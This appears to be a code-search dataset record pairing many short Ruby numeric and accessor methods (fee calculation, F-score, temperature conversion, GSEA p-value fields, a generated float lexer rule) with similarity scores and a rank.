"def urf_to_dlf\n a = 0\n x = 0\n corner6 = []\n\n (URF..DRB).each do |j|\n if corner_permutation[j] <= DLF\n a += n_choose_k(j, x + 1)\n corner6 << corner_permutation[j]\n x += 1\n end\n end\n\n b = 0\n 5.downto(1).each do |j|\n k = 0\n while corner6[j] != j\n binding.pry if k >= 50\n corner6 = rotateLeft(corner6, 0, j)\n k += 1\n end\n b = (j + 1) * b + k\n end\n\n (720 * a + b) & 0xffff\n end",
"def disbursement_remaining_factor\n approved_amount == 0 ? 0 : 1 - (disbursed_amount / approved_amount.to_f)\n end",
"def non_ref_ratio\n self.non_ref_count.to_f / self.coverage.to_f\n end",
"def toF\n if @unit == 'C' then\n @unit = 'F'\n @value = 1.8 * @value + 32.0\n elsif @unit == 'R' then\n @unit = 'F'\n @value -= 459.67\n elsif @unit == 'K' then\n @unit = 'F'\n @value = 1.8 * @value - 459.67\n end\n self\n end",
"def percentage_of_detractors\n calculator.percentage_of_detractors\n end",
"def calc_score(f, rs, rk, nbrs)\n score = 0.0\n \n nbrs.each do |k, s|\n if k == rk # near hit\n score -= diff_feature(f, rs, s)**2\n else # near_miss\n score += diff_feature(f, rs, s)**2\n end\n end\n \n score\n end",
"def reliability\n (100.0 * self.surveyed / self.enrolled).round_to(0).to_i\n end",
"def do_rcf(cv, fv)\n hc = get_marginal_entropy(cv)\n hf = get_marginal_entropy(fv)\n hcf = get_conditional_entropy(cv, fv)\n \n # symmetrical uncertainty\n 2*(hc-hcf)/(hc+hf)\n end",
"def tfullness\n ttaken.to_f/tlimit.to_f\n end",
"def perc_to_f(str)\n str.gsub(/%/, \"\").to_f / 100.0\n end",
"def score_with_phrf_time_on_distance\n cf = self.rating\n et = self.elapsed_time\n d = self.distance\n\n (et - (d * cf)).round\n end",
"def future_given_present(present_value, interest, term)\n (present_value.to_f * (1 + interest.to_f) ** term).round(4)\n end",
"def calculate(t, fraud, type)\r\n#\t\tpp \"1\"\r\n\t\treturn 0.0 if type == 'billable' && self.bid_fee #if this fee is a bid fee and we are not looking at the bid fees then return 0, else continue on\r\n\t#\tpp \"2\"\r\n \t\r\n \tfee = self.fixed if self.price_type == 'F'\r\n \r\n fee = (self.fixed + (t.amount * self.percent) + (fraud == '1' ? self.fraud : 0)).at_least(self.min).at_most(self.max) if self.price_type == 'V' #calculate the fee\r\n \r\n return fee if self.sign == '>=' && self.threshold == 0 #if there is no threshold to worry about get out quick...this is what happens the majority of the time\r\n\t\r\n\t\t#if we get here we know we are dealing with a variable fee\r\n\t\t#puts (self.fixed + (t.amount * self.percent) + (fraud == '1' ? self.fraud : 0)).at_least(self.min)\r\n\t#\tfee = (self.fixed + (t.amount * self.percent) + (fraud == '1' ? self.fraud : 0)).at_least(self.min).at_most(self.max) #calculate the fee\r\n\t#\tpp fee\r\n\t#\tpp \"3\"\r\n\t#\treturn fee if self.sign == '>=' && self.threshold == 0 #if there is no threshold to worry about get out quick...this is what happens the majority of the time\r\n\t\t\r\n\t\t#otherwise we need to determine the sign and threshold before we can return\r\n\t\tcase self.sign\r\n\t\t\twhen '>'\r\n\t\t\t #pp \">\"\r\n\t\t\t\treturn fee if t.amount > self.threshold\r\n\t\t\twhen '>='\r\n\t\t\t #pp \">=\"\r\n\t\t\t\treturn fee if t.amount >= self.threshold\r\n\t\t\twhen '<'\r\n\t\t\t #pp \"<\"\r\n\t\t\t\treturn fee if t.amount < self.threshold\r\n\t\t\twhen '<='\r\n\t\t\t #pp \"<=\"\r\n\t\t\t\treturn fee if t.amount <= self.threshold\r\n\t\t\telse\r\n\t\t\t #pp \"4\"\r\n\t\t\t\treturn 0.0\r\n\t\tend\r\n\t\t\r\n\t\t#if we get here then we have no idea what to do so just return 0\r\n\t\treturn 0.0\r\n\tend",
"def fscore(beta)\n b2 = Float(beta**2)\n ((b2 + 1) * precision * recall) / (b2 * precision + recall)\n end",
"def fixed_charges\n 20.0\n end",
"def quality_percentage\n require 'hpricot'\n doc = Hpricot(File.read(\"#{Continuous4r::WORK_DIR}/flog/index.html\"))\n doc.search('//h3') do |h3|\n if h3.inner_text.match(/^Project average score/)\n score = h3.inner_text.split(/Project average score : /)[1].to_f\n if score > 100.0\n percent = 0\n elsif score < 11.0\n percent = 100\n else\n percent = ((100.0 - score) * 100.0) / 89.0\n end\n return percent\n end\n end\n end",
"def calc_potential_cars_fueled(val1= calc_upg_ch4, val2= 1035)\n\t\t(val1 / val2).round 1\n\tend",
"def efective_given_nominal_due(nominal_rate, term)\n ((((1+((nominal_rate.to_f/100)/term))**term)-1).round(6))*100\n end",
"def quality_val\n @valid_qualities[@quality]\n end",
"def percent_passes; end",
"def percent_passes; end",
"def update_e_factor\n ef = @e_factor + (0.1 - (5 - @quality) * (0.08 + (5 - @quality) * 0.02))\n @e_factor = ef < 1.3 ? 1.3 : ef\n end",
"def media_content_rating_france=(value)\n @media_content_rating_france = value\n end",
"def rh_factor; end",
"def denominator() end",
"def calc_potential_wtruck_fueled(val1= calc_upg_ch4, val2= 35750)\n\t\t(val1 / val2).round 1\n\tend",
"def calc_theft(percent)\n\t\tif rand > (percent.to_f/100)\n\t\t\treturn false\n\t\telse\n\t\t\treturn true\n\t\tend\n\tend",
"def float!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 34 )\n\n \n # - - - - main rule block - - - -\n # at line 344:5: ( ( '0' .. '9' )+ '.' ( '0' .. '9' )* ( EXPONENT )? | '.' ( '0' .. '9' )+ ( EXPONENT )? | ( '0' .. '9' )+ EXPONENT )\n alt_12 = 3\n alt_12 = @dfa12.predict( @input )\n case alt_12\n when 1\n # at line 344:9: ( '0' .. '9' )+ '.' ( '0' .. '9' )* ( EXPONENT )?\n # at file 344:9: ( '0' .. '9' )+\n match_count_6 = 0\n while true\n alt_6 = 2\n look_6_0 = @input.peek( 1 )\n\n if ( look_6_0.between?( 0x30, 0x39 ) )\n alt_6 = 1\n\n end\n case alt_6\n when 1\n # at line 344:10: '0' .. '9'\n match_range( 0x30, 0x39 )\n\n else\n match_count_6 > 0 and break\n eee = EarlyExit(6)\n\n\n raise eee\n end\n match_count_6 += 1\n end\n\n match( 0x2e )\n # at line 344:25: ( '0' .. '9' )*\n while true # decision 7\n alt_7 = 2\n look_7_0 = @input.peek( 1 )\n\n if ( look_7_0.between?( 0x30, 0x39 ) )\n alt_7 = 1\n\n end\n case alt_7\n when 1\n # at line 344:26: '0' .. '9'\n match_range( 0x30, 0x39 )\n\n else\n break # out of loop for decision 7\n end\n end # loop for decision 7\n # at line 344:37: ( EXPONENT )?\n alt_8 = 2\n look_8_0 = @input.peek( 1 )\n\n if ( look_8_0 == 0x45 || look_8_0 == 0x65 )\n alt_8 = 1\n end\n case alt_8\n when 1\n # at line 344:37: EXPONENT\n exponent!\n\n end\n\n when 2\n # at line 345:9: '.' ( '0' .. '9' )+ ( EXPONENT )?\n match( 0x2e )\n # at file 345:13: ( '0' .. '9' )+\n match_count_9 = 0\n while true\n alt_9 = 2\n look_9_0 = @input.peek( 1 )\n\n if ( look_9_0.between?( 0x30, 0x39 ) )\n alt_9 = 1\n\n end\n case alt_9\n when 1\n # at line 345:14: '0' .. '9'\n match_range( 0x30, 0x39 )\n\n else\n match_count_9 > 0 and break\n eee = EarlyExit(9)\n\n\n raise eee\n end\n match_count_9 += 1\n end\n\n # at line 345:25: ( EXPONENT )?\n alt_10 = 2\n look_10_0 = @input.peek( 1 )\n\n if ( look_10_0 == 0x45 || look_10_0 == 0x65 )\n alt_10 = 1\n end\n case alt_10\n when 1\n # at line 345:25: EXPONENT\n exponent!\n\n end\n\n when 3\n # at line 346:9: ( '0' .. '9' )+ EXPONENT\n # at file 346:9: ( '0' .. '9' )+\n match_count_11 = 0\n while true\n alt_11 = 2\n look_11_0 = @input.peek( 1 )\n\n if ( look_11_0.between?( 0x30, 0x39 ) )\n alt_11 = 1\n\n end\n case alt_11\n when 1\n # at line 346:10: '0' .. '9'\n match_range( 0x30, 0x39 )\n\n else\n match_count_11 > 0 and break\n eee = EarlyExit(11)\n\n\n raise eee\n end\n match_count_11 += 1\n end\n\n exponent!\n\n end\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 34 )\n\n end",
"def present_value(rate,periods,future_value)\n present_value = future_value / (1+rate)**periods\n end",
"def sci_fi_bonus\n\t \tif self.genres.include?(\"Sci-Fi\") || self.genres.include?(\"Fantasy\")\n\t \t\treturn 1.5\n\t \telse\n\t \t\treturn 0\n\t \tend\n end",
"def ir_hidratos \n\t\t@hidratos_ir = hidratos\n\t\t@ir_hidratos = (@hidratos_ir/260.to_f)*100\n\t\t@ir_hidratos.round(1)\n\tend",
"def density\n if @population_density >= 200\n 0.4\n elsif @population_density >= 150\n 0.3\n elsif @population_density >= 100\n 0.2\n elsif @population_density >= 50\n 0.1\n else\n 0.05\n end\n end",
"def processor_family_check_failed_percentage\n return @processor_family_check_failed_percentage\n end",
"def calculate_probability\n @value.denominator.fdiv(@value.denominator + @value.numerator)\n end",
"def q(x, n, m)\n 1.0 - cdf(x, n, m)\n end",
"def calc_koef(f, fs)\r\n 2 * Math.cos(2 * Math::PI * f / fs)\r\n end",
"def predicted_deaths\n # predicted deaths is solely based on population density\n if @population_density >= 200\n 0.4\n elsif @population_density >= 150\n 0.3\n elsif @population_density >= 100\n 0.2\n elsif @population_density >= 50\n 0.1\n else\n 0.05\n end\n\n end",
"def correct_ratio\n all = stats.where(\"answer_id >= 0\").size.to_f\n all > 0 ? correct_count.to_f/all : 0\n end",
"def calculate_quality_wrong(attempt)\n case attempt\n when 1 then 2\n when 2 then 1\n else 0\n end\n end",
"def ratio_s4(m_d,m)\n\n if @target == \"max\"\n return \" \" if m_d==0.0\n r = Metric.op(m,m_d,\"/\")\n else\n return \" \" if m==0.0\n r = Metric.op(m_d,m,\"/\")\n end\n\n return \" 100+\" if (r >= 100.0)\n return \"<0.01\" if (r < 0.01)\n sprintf(\"%5.2f\",r);\n\n end",
"def phase2_flee_factor\n a = @actors[@actor_actions.size].spd_basis\n b = @enemies[0].spd_basis\n b = 1 if b <= 0\n c = @flee_attempt\n @flee_attempt += 1\n f = ( ( a * 128 ) / b + 30 * c) #% 256 #< Le modulo rend la fuite merdique :/\n pc \"Flee factor : #{f}\"\n return f\n end",
"def reciprocal\nFraccionario.new(@den, @num)\nend",
"def nominal_due_given_efective(effective_rate, periods)\n\t\t\t((((1 + (effective_rate.to_f/100))**(1/periods.to_f)-1)*periods.to_f)*100).round(4)\n end",
"def ns_to_ck(dram_freq, dram_timings, param_name)\n min_ck = dram_timings[param_name][:ck]\n ns = dram_timings[param_name][:ns]\n if ns then\n ck = (dram_freq * ns / 1000.0).ceil.to_i\n ck = min_ck if min_ck and ck < min_ck\n return ck\n else\n return min_ck\n end\nend",
"def feature_probability(index, value, class_name)\r\n features_of_class = get_feature_of_class(index, class_name)\r\n\r\n #statistical properties of the feature set\r\n fc_std = features_of_class.standard_deviation\r\n fc_mean = features_of_class.mean\r\n fc_var = features_of_class.variance \r\n\r\n # Calc prbobability of Normal Distribui\r\n\r\n exp = -((value - fc_mean)**2)/(2*fc_var)\r\n densy = (1.0/(Math.sqrt(2*Math::PI*fc_var))) * (Math::E**exp)\r\n\r\n return densy\r\n end",
"def fvan(i, n, pmt)\n return pmt * (((1 + i) ** n) - 1) / i \n end",
"def farewell\n random_response(:farewell)\n end",
"def fwer_p_value\n @fwer_p_value ||= @fields[7].to_f\n end",
"def predicted_deaths \n case @population_density\n when (0..49)\n rate = 0.05\n when (50..99)\n rate = 0.1\n when (100..149)\n rate = 0.2\n when (150..199)\n rate = 0.3\n else #(200+)\n rate = 0.4\n end\n (@population * rate).floor\n end",
"def get_pdf(x)\n if x >= @lower && x <= @upper\n @pdf_denominator\n else \n 0.0\n end\t \n end",
"def get_basic_factor(value = 0.5)\n return value + rand % (1 - value)\n end",
"def to_be_a_factor?\n return false if @factor_percentage.nil? || @factor_of.nil?\n Random.new().rand(1..100) <= @factor_percentage\n end",
"def add_diagnosis_f( name, sym, positive, val )\n add_diagnosis( name, sym, positive, 'f', val.to_f )\n end",
"def processor_family_check_failed_percentage=(value)\n @processor_family_check_failed_percentage = value\n end",
"def generate_harder_value(rnd_obj, _)\n # generate from the top 70% upwards\n min, max = fetch_min_max_values\n diff = max-min\n top_seventy_percent = 0.7 * diff\n @value = rnd_obj.rand(Integer(top_seventy_percent)..max)\n end",
"def predicted_deaths\n # predicted deaths is solely based on population density\n @number_of_deaths = (@population * factor).floor\n if @population_density >= 200\n factor = 0.4\n elsif @population_density >= 150\n factor = 0.3\n elsif @population_density >= 100\n factor = 0.2\n elsif @population_density >= 50\n factor = 0.1\n else\n factor = 0.05\n end\n end",
"def change_from_wild_probability\n # TODO: 2+ skips\n has_wild_probability\n end"
] | [
"0.6152747",
"0.57610196",
"0.57374275",
"0.5729737",
"0.5564448",
"0.54393005",
"0.54335916",
"0.5427187",
"0.5425854",
"0.5371067",
"0.5337704",
"0.5335693",
"0.5324293",
"0.531646",
"0.5305478",
"0.5281855",
"0.52783436",
"0.5275544",
"0.5264172",
"0.5223553",
"0.5222835",
"0.52207714",
"0.5214406",
"0.5213237",
"0.5199879",
"0.519317",
"0.5193058",
"0.51767844",
"0.5157161",
"0.5151332",
"0.5128559",
"0.5116183",
"0.51132923",
"0.50968397",
"0.5089052",
"0.5079012",
"0.5074912",
"0.5064474",
"0.50582486",
"0.5048242",
"0.5043108",
"0.5042647",
"0.5039754",
"0.5022645",
"0.5009117",
"0.50043523",
"0.49977317",
"0.49865413",
"0.49860775",
"0.4984285",
"0.49768636",
"0.49720332",
"0.4960029",
"0.49597308",
"0.49596292",
"0.4952805",
"0.49502337",
"0.4929806",
"0.49272704",
"0.4915425",
"0.4913122",
"0.4898931",
"0.4897145",
"0.4897145",
"0.48912385",
"0.4891219",
"0.48883837",
"0.4886921",
"0.48730785",
"0.48649368",
"0.48540485",
"0.4848636",
"0.48472264",
"0.48451146",
"0.48450243",
"0.48426977",
"0.4838836",
"0.4832858",
"0.4831321",
"0.48258385",
"0.4823347",
"0.48209724",
"0.4820064",
"0.4812231",
"0.48107302",
"0.4801692",
"0.48005557",
"0.47876704",
"0.47824836",
"0.4781996",
"0.47679967",
"0.47626236",
"0.47603074",
"0.47537917",
"0.4749061",
"0.47465903",
"0.4745576",
"0.47454092",
"0.47410625",
"0.47409657"
] | 0.6098612 | 1 |
FWER pvalue: Familywiseerror rate; that is, a more conservatively estimated probability that the normalized enrichment score represents a false positive finding. Because the goal of GSEA is to generate hypotheses, the GSEA team recommends focusing on the FDR statistic. | def fwer_p_value
@fwer_p_value ||= @fields[7].to_f
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def fare\n return PENALTY_FARE if penalty?\n return MINIMUM_FARE\n end",
"def do_rff(fv, sv)\n hf = get_marginal_entropy(fv)\n hs = get_marginal_entropy(sv)\n hfs = get_conditional_entropy(fv, sv)\n \n # symmetrical uncertainty\n 2*(hf-hfs)/(hf+hs)\n end",
"def efg\n return 0.0 if fg.zero? || fga.zero?\n\n ((fg.to_f + 0.5 * three_p.to_f)/fga).round(3)\n end",
"def fdr(error_rate = 0.0001)\n sequences = self.dna_hash.values\n if sequences.size == 0\n return {}\n else\n seq_count = self.size\n observed_hash = variant_for_poisson(sequences)\n p_unadjusted = []\n observed_hash.each do |k, v|\n p_value = 1 - `Rscript -e \"cat(pbinom(#{k}-1, #{seq_count}, #{error_rate}))\"`.to_f # compute unadjusted exact p-value, ie under null, probability of observing observed_hash[k] or more extreme\n p_unadjusted += Array.new(v, p_value)\n end\n p_fdr = `Rscript -e \"cat(p.adjust(c(#{p_unadjusted.join(',')}), 'fdr'))\"`.split(\"\\s\").count_freq.to_a # controls fdr. aka Benjamini-Hochberg correction\n vars_pair = observed_hash.to_a\n fdr_hash = Hash.new(0)\n (0..(p_fdr.size - 1)).each do |i|\n fdr_hash[vars_pair[i][0]] = p_fdr[i][0].to_f\n end\n return fdr_hash\n end\n end",
"def feature_probability(index, value, class_name)\r\n features_of_class = get_feature_of_class(index, class_name)\r\n\r\n #statistical properties of the feature set\r\n fc_std = features_of_class.standard_deviation\r\n fc_mean = features_of_class.mean\r\n fc_var = features_of_class.variance \r\n\r\n # Calc prbobability of Normal Distribui\r\n\r\n exp = -((value - fc_mean)**2)/(2*fc_var)\r\n densy = (1.0/(Math.sqrt(2*Math::PI*fc_var))) * (Math::E**exp)\r\n\r\n return densy\r\n end",
"def farenheit\n self.fahrenheit\n end",
"def value\n (\n 0.7 * (annual_income / average_income) +\n 0.3 * (base_manpower / avearge_manpower)\n ).round(6)\n end",
"def stat_ftc\n percentage(self.heifers_first, self.heifers_first_calved)\n end",
"def female_body_fat\n weight_kg = user_weight / 2.2\n multipy_weight = 0.732 * weight_kg\n wrist_cm = user_wrist / 0.394\n multipy_wrist = 3.786 * wrist_cm\n forearm_circumference = user_forearm / 3.14\n multipy_forearm = 0.434 * forearm_circumference\n lean_body_weight = 8.987 + multipy_weight + multipy_wrist + multipy_forearm\n lean_diff = user_weight - lean_body_weight\n lean_diff_times_100 = lean_diff * 100\n body_fat = lean_diff_times_100 / user_weight\n return body_fat\n end",
"def fscore(beta)\n b2 = Float(beta**2)\n ((b2 + 1) * precision * recall) / (b2 * precision + recall)\n end",
"def fuel_efficiency\n ((mileage - predecessor.mileage) / liter).round(1) if predecessor\n end",
"def calculate_probability\n @value.denominator.fdiv(@value.denominator + @value.numerator)\n end",
"def anticipated_fixed_payment(present_value, rate, term)\n\t\t((present_value.to_f) / ((1 - (1 - rate.to_f ) ** term ) / rate.to_f )).round(4)\n end",
"def farenheit\n self.to_f\n end",
"def male_body_fat\n converted_weight = 1.082 * user_weight\n converted_waist = 4.15 * user_waist\n added_converted_weight = 94.42 + converted_weight\n lean_body_weight = added_converted_weight - converted_waist\n lean_diff = user_weight - lean_body_weight\n lean_diff_times_100 = lean_diff * 100\n body_fat = lean_diff_times_100 / user_weight\n return body_fat\n end",
"def score\n s = Settings.instance\n s.faculty_weight.to_f * (s.rank_weight.to_f/self.rank.to_f + s.mandatory_weight.to_f*(self.mandatory ? 1.0 : 0.0))\n end",
"def processor_family_check_failed_percentage=(value)\n @processor_family_check_failed_percentage = value\n end",
"def moving_fuel_efficiency\n if predecessor\n logger.debug(\"[#{self.class}.moving_fuel_efficiency] Calculating for #{description}: #{running_total_mileage} / #{running_total_liter} = #{(running_total_mileage.to_f / running_total_liter).round(1)}\")\n (running_total_mileage.to_f / running_total_liter).round(1)\n end\n end",
"def get_fwr()\n get_window_area().to_f / get_area.to_f\n end",
"def get_fwr()\n get_window_area().to_f / get_area.to_f\n end",
"def disbursed_amount_factor\n disbursed_amount.to_f / Country.max_disbursed_amount\n end",
"def calculate_probability(useful_results, reroll_count)\n return 100.0 * useful_results / ( 6 ** reroll_count )\n end",
"def calculate(t, fraud, type)\r\n#\t\tpp \"1\"\r\n\t\treturn 0.0 if type == 'billable' && self.bid_fee #if this fee is a bid fee and we are not looking at the bid fees then return 0, else continue on\r\n\t#\tpp \"2\"\r\n \t\r\n \tfee = self.fixed if self.price_type == 'F'\r\n \r\n fee = (self.fixed + (t.amount * self.percent) + (fraud == '1' ? self.fraud : 0)).at_least(self.min).at_most(self.max) if self.price_type == 'V' #calculate the fee\r\n \r\n return fee if self.sign == '>=' && self.threshold == 0 #if there is no threshold to worry about get out quick...this is what happens the majority of the time\r\n\t\r\n\t\t#if we get here we know we are dealing with a variable fee\r\n\t\t#puts (self.fixed + (t.amount * self.percent) + (fraud == '1' ? self.fraud : 0)).at_least(self.min)\r\n\t#\tfee = (self.fixed + (t.amount * self.percent) + (fraud == '1' ? self.fraud : 0)).at_least(self.min).at_most(self.max) #calculate the fee\r\n\t#\tpp fee\r\n\t#\tpp \"3\"\r\n\t#\treturn fee if self.sign == '>=' && self.threshold == 0 #if there is no threshold to worry about get out quick...this is what happens the majority of the time\r\n\t\t\r\n\t\t#otherwise we need to determine the sign and threshold before we can return\r\n\t\tcase self.sign\r\n\t\t\twhen '>'\r\n\t\t\t #pp \">\"\r\n\t\t\t\treturn fee if t.amount > self.threshold\r\n\t\t\twhen '>='\r\n\t\t\t #pp \">=\"\r\n\t\t\t\treturn fee if t.amount >= self.threshold\r\n\t\t\twhen '<'\r\n\t\t\t #pp \"<\"\r\n\t\t\t\treturn fee if t.amount < self.threshold\r\n\t\t\twhen '<='\r\n\t\t\t #pp \"<=\"\r\n\t\t\t\treturn fee if t.amount <= self.threshold\r\n\t\t\telse\r\n\t\t\t #pp \"4\"\r\n\t\t\t\treturn 0.0\r\n\t\tend\r\n\t\t\r\n\t\t#if we get here then we have no idea what to do so just return 0\r\n\t\treturn 0.0\r\n\tend",
"def set_feelings_average\n return if persisted? || feelings_project_evaluations.empty?\n sum = 0\n feelings_project_evaluations.each do |fp|\n sum += fp.percent * fp.feeling.value\n end\n self.feelings_average = sum / Feeling.count\n end",
"def calc_potential_wtruck_fueled(val1= calc_upg_ch4, val2= 35750)\n\t\t(val1 / val2).round 1\n\tend",
"def results(values, weight)\n gpa = weight.reduce(:+).to_f / values.reduce(:+)\n\n puts $divide\n puts \"\\n#{$first.capitalize} #{$last.capitalize}, your GPA is #{gpa.to_s} \\n\\n\"\nend",
"def find_efactor(e_factor, quality)\n e_factor = e_factor + (0.1 - (5 - quality) * (0.08 + (5 - quality) * 0.02))\n [e_factor, 1.3].max\n end",
"def calc_koef(f, fs)\r\n 2 * Math.cos(2 * Math::PI * f / fs)\r\n end",
"def fulfillment_fee\n begin\n if variant.product_costs.where(:retailer_id => self.order.retailer_id).first.fulfillment_fee > 0\n variant.product_costs.where(:retailer_id => self.order.retailer_id).first.fulfillment_fee * quantity\n else\n self.order.retailer.fulfillment_fee * quantity\n end\n rescue\n begin\n self.order.retailer.fulfillment_fee * quantity\n rescue\n 0.0\n end\n end\n end",
"def disbursement_percentage\n disbursement_factor * 100\n end",
"def in_fahrenheit\n \t@f ? @f : @c * 9.0 / 5.0 + 32\n end",
"def feeling(participant = nil)\n scores = { 1.0 => 0.75, 2.0 => 0.9, 3.0 => 1, 4.0 => 1.111, 5.0 => 1.334 }\n score = 0\n if participant.nil?\n feelings.each { |f| score += (f.value.present? ? scores[f.value] : 1) }\n score / feelings.count\n else\n scores[feelings.find_by(participant: participant).value]\n end\n end",
"def processor_family_check_failed_percentage\n return @processor_family_check_failed_percentage\n end",
"def do_rcf(cv, fv)\n hc = get_marginal_entropy(cv)\n hf = get_marginal_entropy(fv)\n hcf = get_conditional_entropy(cv, fv)\n \n # symmetrical uncertainty\n 2*(hc-hcf)/(hc+hf)\n end",
"def death_factor \n\n if @population_density >= 200\n 0.4\n elsif @population_density >= 150\n 0.3\n elsif @population_density >= 100\n 0.2\n elsif @population_density >= 50\n 0.1\n else\n 0.05\n end\n end",
"def fei\n\n @dict.fexp.fei\n end",
"def irfibrap\n vag=(valorfibrap * 100) / 50\n vag.round(2)\n end",
"def firm_praise firm\n grade_max = [firm.construction_praise, firm.design_praise, firm.service_praise].max\n [firm.construction_praise, firm.design_praise, firm.service_praise].map do |praise|\n grade_max == 0 ? 0 : praise * 1.0 / grade_max * 108.0\n end\n end",
"def calc_potential_homes_fueled(val1= calc_upg_mwh_ch4, val2= 13.8)\n\t\t(val1 / val2).round 1\n\tend",
"def efp\n top_players.inject(0) { |sum, player| player.efp + sum }\n end",
"def probability_of_success\n experience / 5.0\n end",
"def disbursement_factor\n approved_amount == 0 ? 0 : disbursed_amount / approved_amount.to_f\n end",
"def to_f(pattern)\n if @value\n result = @value.to_f(pattern)\n result += @variation if @variation\n result\n end\n end",
"def media_content_rating_france=(value)\n @media_content_rating_france = value\n end",
"def erfc\n\t\tresult = Math.erf(@input)\n\n\t render json: result, status: 200\n\trescue\n\t\trender json: {\"message\": 'Use the format: {\"input\": num}'}, status: 400\n\tend",
"def pv(fv, n, r)\n fv*(1.0/((1+r)**n))\nend",
"def expected_fractional_score(other)\n @e[other] ||= 1 / (1 + Math.exp(-other.gravity * (mean - other.mean)))\n end",
"def percent_passes; end",
"def percent_passes; end",
"def cdf(z_score)\n (0.5 * (1.0 + Math.erf((z_score * 1.0) / Math.sqrt(2))))\n end",
"def predicted_deaths \n case @population_density\n when (0..49)\n rate = 0.05\n when (50..99)\n rate = 0.1\n when (100..149)\n rate = 0.2\n when (150..199)\n rate = 0.3\n else #(200+)\n rate = 0.4\n end\n (@population * rate).floor\n end",
"def in_fahrenheit\n @fahrenheit\n end",
"def legendary_value(options)\n (5.00/25.00)\n end",
"def toF\n if @unit == 'C' then\n @unit = 'F'\n @value = 1.8 * @value + 32.0\n elsif @unit == 'R' then\n @unit = 'F'\n @value -= 459.67\n elsif @unit == 'K' then\n @unit = 'F'\n @value = 1.8 * @value - 459.67\n end\n self\n end",
"def reward_rate\n return nil if self.reward_count == 0 || self.reward_count.nil? || self.reward.nil?\n return self.reward / self.reward_count.to_f\n end",
"def sci_fi_bonus\n\t \tif self.genres.include?(\"Sci-Fi\") || self.genres.include?(\"Fantasy\")\n\t \t\treturn 1.5\n\t \telse\n\t \t\treturn 0\n\t \tend\n end",
"def calc_contribution(f) \n each_class do |k|\n a, b, c, d = get_A(f, k), get_B(f, k), get_C(f, k), get_D(f, k)\n \n # note: intentionally negated it\n R.eval \"rv <- fisher.test(matrix(c(#{a}, #{b}, #{c}, #{d}), nrow=2))$p.value\"\n s = -1.0 * R.rv\n \n set_feature_score(f, k, s)\n end\n end",
"def present_value(rate,periods,future_value)\n present_value = future_value / (1+rate)**periods\n end",
"def precision_at_fraction_recall val\n @p.each_index do |i|\n return actual_precision(i) if tpr(i) < val\n end\n 0.0\n end",
"def prec_f() end",
"def feeling_relative(participant = nil)\n score = 0\n max = 5.0\n if participant.nil?\n feelings.each { |f| score += (f.value.present? ? f.value : 1) }\n max *= feelings.count\n else\n score = feelings.find_by(participant: participant).value\n end\n (score / max) * 100\n end",
"def erf\n\t\tresult = Math.erf(@input)\n\n\t render json: result, status: 200\n\trescue\n\t\trender json: {\"message\": 'Use the format: {\"input\": num}'}, status: 400\n\tend",
"def calculate_probability\n calculate_probability ||= if @value.positive?\n 100.0 / (@value + 100)\n else\n [email protected]_f / (100 - @value)\n end\n end",
"def update_easiness_factor(quality)\n new_easiness_factor = calculate_easiness_factor(quality)\n # If EF is less than 1.3 then let EF be 1.3\n self.easiness_factor = new_easiness_factor < 1.3 ? 1.3 : new_easiness_factor\n end",
"def stoffi\n\t\tamount * (stoffi_percentage.to_f / 100)\n\tend",
"def percent_of_goal_raised\n ( ( 100.0 * self.funds_raised ) / self.fundraising_goal ).round\n end",
"def format_pct_value(ror)\n (ror * 100).round(1)\n end",
"def rh_factor; end",
"def report_worst_fit\n worst_critter.phenotype.code\n end",
"def perc\n rfd / (rfd + 1)\n end",
"def fleiss(matrix)\n debug = true\n\n # n Number of rating per subjects (number of human raters)\n n = checkEachLineCount(matrix) # PRE : every line count must be equal to n\n i_N = matrix.size\n k = matrix[0].size\n\n if debug\n puts \"#{n} raters.\"\n puts \"#{i_N} subjects.\"\n puts \"#{k} categories.\"\n end\n\n # Computing p[]\n p = [0.0] * k\n (0...k).each do |j|\n p[j] = 0.0\n (0...i_N).each {|i| p[j] += matrix[i][j] } \n p[j] /= i_N*n \n end\n\n puts \"p = #{p.join(',')}\" if debug\n\n # Computing f_P[] \n f_P = [0.0] * i_N\n\n (0...i_N).each do |i|\n f_P[i] = 0.0\n (0...k).each {|j| f_P[i] += matrix[i][j] * matrix[i][j] } \n f_P[i] = (f_P[i] - n) / (n * (n - 1)) \n end \n\n puts \"f_P = #{f_P.join(',')}\" if debug\n\n # Computing Pbar\n f_Pbar = sum(f_P) / i_N\n puts \"f_Pbar = #{f_Pbar}\" if debug\n\n # Computing f_PbarE\n f_PbarE = p.inject(0.0) { |acc,el| acc + el**2 }\n\n puts \"f_PbarE = #{f_PbarE}\" if debug \n\n kappa = (f_Pbar - f_PbarE) / (1 - f_PbarE)\n puts \"kappa = #{kappa}\" if debug \n\n kappa \nend",
"def standard_deviation_denominator\n (reading_values.length - 1).to_f\n end",
"def in_fahrenheit\n if (@options.key?(:f))\n @options[:f]\n else\n ((@options[:c].to_f * 9) / 5) + 32\n end\n end",
"def calcFitness(sgenome)\r\n \r\n calcWeightAndValue(sgenome)\r\n\r\n if (@sum_weight > @max_weight)\r\n # penalize overweight solutions \r\n @sum_value - (@penalty * (@sum_weight - @max_weight))\r\n else \r\n @sum_value\r\n end\r\n\r\n end",
"def predicted_deaths\n # predicted deaths is solely based on population density\n if @population_density >= 200\n 0.4\n elsif @population_density >= 150\n 0.3\n elsif @population_density >= 100\n 0.2\n elsif @population_density >= 50\n 0.1\n else\n 0.05\n end\n\n end",
"def undisbursed_amount_factor\n disbursement_remaining.to_f / Country.max_disbursement_remaining\n end",
"def update_e_factor\n ef = @e_factor + (0.1 - (5 - @quality) * (0.08 + (5 - @quality) * 0.02))\n @e_factor = ef < 1.3 ? 1.3 : ef\n end",
"def dealer_score\n dealer_hand.inject(0){|sum,n| sum + n.value }\n end",
"def floofiness=(new_floofiness)\n print \"floofiness called\"\n if new_floofiness > 10\n new_floofiness = 10\n elsif new_floofiness < 1\n new_floofiness = 1\n end\n @floofiness = new_floofiness\n end",
"def average_percentage_passed_float\n return self.data[\"average_percent_passed\"].to_f\n end",
"def fdr_q_value\n @fdr_q_value ||= @fields[6].to_f\n end",
